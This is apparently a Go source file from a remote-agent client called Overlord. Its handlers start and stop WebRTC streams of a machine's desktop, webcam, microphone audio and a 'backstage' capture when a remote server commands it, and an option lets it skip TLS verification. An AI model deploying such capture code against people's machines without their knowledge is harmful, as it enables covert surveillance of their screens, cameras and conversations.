Files
overlord/Overlord-Client/cmd/agent/handlers/webrtc.go
T
2026-07-17 13:23:12 -05:00

262 lines
7.3 KiB
Go

package handlers
import (
"context"
"encoding/binary"
"fmt"
"log"
"net/url"
"strings"
"overlord-client/cmd/agent/capture"
"overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/webrtcpub"
"overlord-client/cmd/agent/wire"
)
func pcm16BytesToInt16(chunk []byte) []int16 {
n := len(chunk) / 2
out := make([]int16, n)
for i := 0; i < n; i++ {
out[i] = int16(binary.LittleEndian.Uint16(chunk[i*2:]))
}
return out
}
// WebRTC desktop audio is captured at 48 kHz stereo. Keep the established raw
// WebSocket fallback wire format at 16 kHz mono by averaging each stereo frame
// and decimating groups of three frames. pending preserves sample groups when
// an audio callback ends between frames or decimation windows.
type desktopAudioLegacyConverter struct {
pending []byte
}
func (c *desktopAudioLegacyConverter) Convert(chunk []byte) []byte {
if len(chunk) == 0 {
return nil
}
data := make([]byte, 0, len(c.pending)+len(chunk))
data = append(data, c.pending...)
data = append(data, chunk...)
const windowBytes = 3 * 2 * 2 // three stereo PCM16 frames
windows := len(data) / windowBytes
if windows == 0 {
c.pending = append(c.pending[:0], data...)
return nil
}
out := make([]byte, 0, windows*2)
for window := 0; window < windows; window++ {
var sum int64
for frame := 0; frame < 3; frame++ {
offset := window*windowBytes + frame*4
left := int32(int16(binary.LittleEndian.Uint16(data[offset:])))
right := int32(int16(binary.LittleEndian.Uint16(data[offset+2:])))
sum += int64(left+right) / 2
}
sample := int16(sum / 3)
out = binary.LittleEndian.AppendUint16(out, uint16(sample))
}
c.pending = append(c.pending[:0], data[windows*windowBytes:]...)
return out
}
func kindFromPayload(payload map[string]interface{}) webrtcpub.Kind {
switch s, _ := payload["kind"].(string); s {
case "backstage":
return webrtcpub.Kindbackstage
case "webcam":
return webrtcpub.KindWebcam
case "audio":
return webrtcpub.KindAudio
default:
return webrtcpub.KindDesktop
}
}
func payloadBool(payload map[string]interface{}, key string, fallback bool) bool {
if v, ok := payload[key].(bool); ok {
return v
}
return fallback
}
func handleWebrtcPublish(ctx context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error {
whipPath, _ := payload["whipPath"].(string)
token, _ := payload["token"].(string)
if whipPath == "" || token == "" {
sendCommandResultSafe(env, cmdID, false, "missing whipPath/token")
return nil
}
kind := kindFromPayload(payload)
hasVideo := payloadBool(payload, "hasVideo", kind != webrtcpub.KindAudio)
hasAudio := payloadBool(payload, "hasAudio", kind == webrtcpub.KindAudio)
whipURL, err := buildWhipURL(env, whipPath)
if err != nil {
sendCommandResultSafe(env, cmdID, false, err.Error())
return nil
}
opts := webrtcpub.Options{
WhipURL: whipURL,
PublishToken: token,
TLSInsecureSkipVerify: env.Cfg.TLSInsecureSkipVerify,
TLSCAPath: env.Cfg.TLSCAPath,
HasVideo: hasVideo,
HasAudio: hasAudio,
}
goSafe("webrtc publish", env.Cancel, func() {
if _, err := webrtcpub.Start(ctx, kind, opts); err != nil {
log.Printf("webrtc: publish[%s] start failed: %v", kind, err)
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error(),
})
return
}
// Force a fresh SPS/PPS/IDR so the freshly subscribed viewer can
// decode immediately instead of waiting for the next natural IDR.
if hasVideo {
if kind == webrtcpub.Kindbackstage {
capture.ResetPrevbackstage()
} else {
capture.ResetPrev()
}
}
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result", CommandID: cmdID, OK: true,
})
})
return nil
}
func handleWebrtcStop(ctx context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error {
_ = ctx
if payload != nil {
webrtcpub.Stop(kindFromPayload(payload))
} else {
webrtcpub.StopAll()
}
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
func handleWebrtcP2POffer(ctx context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error {
sessionID, _ := payload["sessionId"].(string)
offerSDP, _ := payload["sdp"].(string)
if sessionID == "" || offerSDP == "" {
sendCommandResultSafe(env, cmdID, false, "missing sessionId/sdp")
return nil
}
kind := kindFromPayload(payload)
hasVideo := payloadBool(payload, "hasVideo", kind != webrtcpub.KindAudio)
hasAudio := payloadBool(payload, "hasAudio", kind == webrtcpub.KindAudio)
kindStr := string(kind)
callbacks := webrtcpub.P2POfferCallbacks{
OnICE: func(c webrtcpub.ICECandidate) {
if c.Candidate == "" {
return
}
_ = wire.WriteMsg(ctx, env.Conn, wire.WebRTCP2PIce{
Type: "webrtc_p2p_ice",
SessionID: sessionID,
Kind: kindStr,
Candidate: c.Candidate,
SDPMid: c.SDPMid,
SDPMLineIndex: c.SDPMLineIndex,
})
},
OnClose: func() {
log.Printf("webrtc: P2P[%s/%s] session closed", kind, sessionID)
},
OnBandwidthEstimate: func(bps int) {
if kind != webrtcpub.KindDesktop {
return
}
if applied := capture.ApplyWebRTCBandwidthEstimate(bps); applied > 0 {
log.Printf("webrtc: P2P congestion target=%d Mbps applied=%d Mbps", bps/1_000_000, applied/1_000_000)
}
},
}
answerSDP, err := webrtcpub.StartP2POffer(ctx, kind, sessionID, offerSDP, callbacks, hasVideo, hasAudio)
if err != nil {
sendCommandResultSafe(env, cmdID, false, err.Error())
return nil
}
if hasVideo {
if kind == webrtcpub.Kindbackstage {
capture.ResetPrevbackstage()
} else {
capture.ResetPrev()
}
}
_ = wire.WriteMsg(ctx, env.Conn, wire.WebRTCP2PAnswer{
Type: "webrtc_p2p_answer",
SessionID: sessionID,
Kind: kindStr,
SDP: answerSDP,
})
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
func handleWebrtcP2PIce(_ context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error {
sessionID, _ := payload["sessionId"].(string)
candidate, _ := payload["candidate"].(string)
mid, _ := payload["sdpMid"].(string)
var idx uint16
if v, ok := payloadInt32(payload, "sdpMLineIndex"); ok {
idx = uint16(v)
}
kind := kindFromPayload(payload)
webrtcpub.AddP2PICECandidate(kind, sessionID, webrtcpub.ICECandidate{
Candidate: candidate,
SDPMid: mid,
SDPMLineIndex: idx,
})
_ = env
_ = cmdID
return nil
}
func handleWebrtcP2PStop(_ context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error {
sessionID, _ := payload["sessionId"].(string)
if sessionID == "" {
webrtcpub.StopAllP2P()
} else {
webrtcpub.StopP2P(kindFromPayload(payload), sessionID)
}
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
func buildWhipURL(env *runtime.Env, whipPath string) (string, error) {
if len(env.Cfg.ServerURLs) == 0 {
return "", fmt.Errorf("no server URLs configured")
}
idx := env.Cfg.ServerIndex
if idx < 0 || idx >= len(env.Cfg.ServerURLs) {
idx = 0
}
base, err := url.Parse(env.Cfg.ServerURLs[idx])
if err != nil {
return "", fmt.Errorf("parse server url: %w", err)
}
switch strings.ToLower(base.Scheme) {
case "wss":
base.Scheme = "https"
case "ws":
base.Scheme = "http"
}
if !strings.HasPrefix(whipPath, "/") {
whipPath = "/" + whipPath
}
base.Path = whipPath
base.RawQuery = ""
base.Fragment = ""
return base.String(), nil
}